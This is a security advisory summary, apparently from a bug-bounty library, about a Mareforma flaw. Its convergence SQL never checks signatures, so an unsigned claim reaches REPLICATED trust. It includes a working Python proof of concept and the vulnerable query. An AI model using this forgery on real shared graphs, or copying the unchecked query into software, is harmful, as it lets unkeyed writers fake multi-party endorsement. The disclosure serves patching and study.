# Mareforma: Unsigned Claims Can Be Promoted to REPLICATED via Missing Signature Enforcement in Convergence Path

Mareforma's REPLICATED convergence query omits signature/enrollment checks, letting an unkeyed attacker promote an unsigned claim to REPLICATED trust status.

- Payout: Research
- Severity: high
- Program: Mareforma
- Found by: EQSTLab, min8282
- Disclosed: 2026-11-19
- CVE: CVE-2026-71535
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-8776-qf3h-26r3
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-8776-qf3h-26r3
- Tags: area:oss domain:oss impact:integrity kind:research platform:ghsa sev:high tech:python technique:default-creds technique:source-review vuln:access-control vuln:auth-bypass vuln:signature-replay

**Target:** Python library convergence logic (SQLite claims graph)
**Root cause:** The peer-selection SQL in _maybe_update_replicated_unlocked() filters on status, unresolved, transparency_logged and artifact_hash but never checks signature_bundle or enrolled-key identity, so unsigned claims converge and get promoted to REPLICATED.
**Steps:**
1. Install mareforma==0.3.3 and bootstrap a root key with `signing.bootstrap_key(key_path)`.
2. Open graph with the key and assert an ESTABLISHED seed anchor plus a signed peer claim supporting it.
3. Reopen the same graph with a non-existent key path; `__init__.py:132-138` silently sets `signer=None`.
4. Assert an unsigned claim supporting the same anchor via `g.assert_claim(...)`; convergence fires and promotes it to REPLICATED.
5. Call `g.query(min_support="REPLICATED")` and observe the unsigned, unenrolled forged claim returned alongside signed ones.
**How found:** Source review of the convergence path: noticed the peer-selection SQL lacks any signature_bundle/enrolled-key predicate, and that the existing `_extract_signature_bundle_keyid()` helper at core.py:3661-3669 is never invoked there, indicating omitted validation rather than design.
**Exploitation:** Attacker needs only local write access to a shared graph DB (shared filesystem/network mount) and no Mareforma key. They insert an unsigned claim supporting an existing ESTABLISHED anchor; because rekor_enabled=False sets transparency_logged=1 at insert, the convergence query matches it against a legitimate signed peer and promotes both to REPLICATED. Downstream consumers querying min_support=REPLICATED treat the forged row as multi-party endorsement.
**Insight:** When a trust level is meant to encode 'N independent signed parties agree', audit the exact SQL/query that computes convergence — defaults like rekor_enabled=False and require_signed=False can make every row eligible, and an unused signature-extraction helper nearby is a strong signal the check was dropped.

## Proof of concept (copied exactly from the original report)

**Minimal attack sequence in advisory**

```
with TemporaryDirectory() as td:
    root = Path(td)
    key_path = root / "root-key.pem"

    # Step 1: Legitimate root agent bootstraps a key and creates an ESTABLISHED anchor.
    signing.bootstrap_key(key_path)
    with mareforma.open(root, key_path=key_path) as g:
        anchor = g.assert_claim(
            "established anchor",
            classification="DERIVED",
            generated_by="seed/root",
            seed=True,
        )
        # Step 2: Honest peer asserts a signed PRELIMINARY claim supporting the anchor.
        honest = g.assert_claim(
            "same result",
            supports=[anchor],
            generated_by="honest-agent",
        )

    # Step 3: Attacker opens the same graph with a non-existent key path.
    #         __init__.py:132-138 silently sets signer=None — unsigned mode.
    attacker_key = root / "missing-attacker-key.pem"  # does not exist
    with mareforma.open(root, key_path=attacker_key) as g:
        # Step 4: Attacker inserts an unsigned claim supporting the same anchor.
        #         Convergence fires in _maybe_update_replicated_unlocked():
        #           - Two claims share the same ESTABLISHED anchor
        #           - Different generated_by values
        #           - Both have transparency_logged=1 (Rekor disabled by default)
        #           - No signature or enrollment check performed
        attack = g.assert_claim(
            "forged convergence",
            supports=[anchor],
            generated_by="attacker-agent",
        )

        attack_info = g.get_claim(attack)
        print(attack_info["support_level"])          # → REPLICATED
        print(attack_info["signature_bundle"] is None)  # → True (unsigned)

        # Step 5: The unsigned REPLICATED claim appears in the default trust query.
        results = g.query(min_support="REPLICATED")
        for r in results:
            print((r["text"], r["support_level"],
                   r["signature_bundle"] is None, r["generator_enrolled"]))
```

**Vulnerable peer-selection SQL query**

```
rows = conn.execute(
    f"""
    SELECT DISTINCT c.claim_id, c.generated_by
    FROM claims c, json_each(c.supports_json) j
    WHERE j.value IN ({placeholders})
      AND c.claim_id != ?
      AND c.generated_by != ?
      AND c.support_level != 'ESTABLISHED'
      AND c.status = 'open'
      AND c.unresolved = 0
      AND c.transparency_logged = 1
      AND (
          c.artifact_hash IS NULL
          OR ? IS NULL
          OR c.artifact_hash = ?
      )
    """,
```

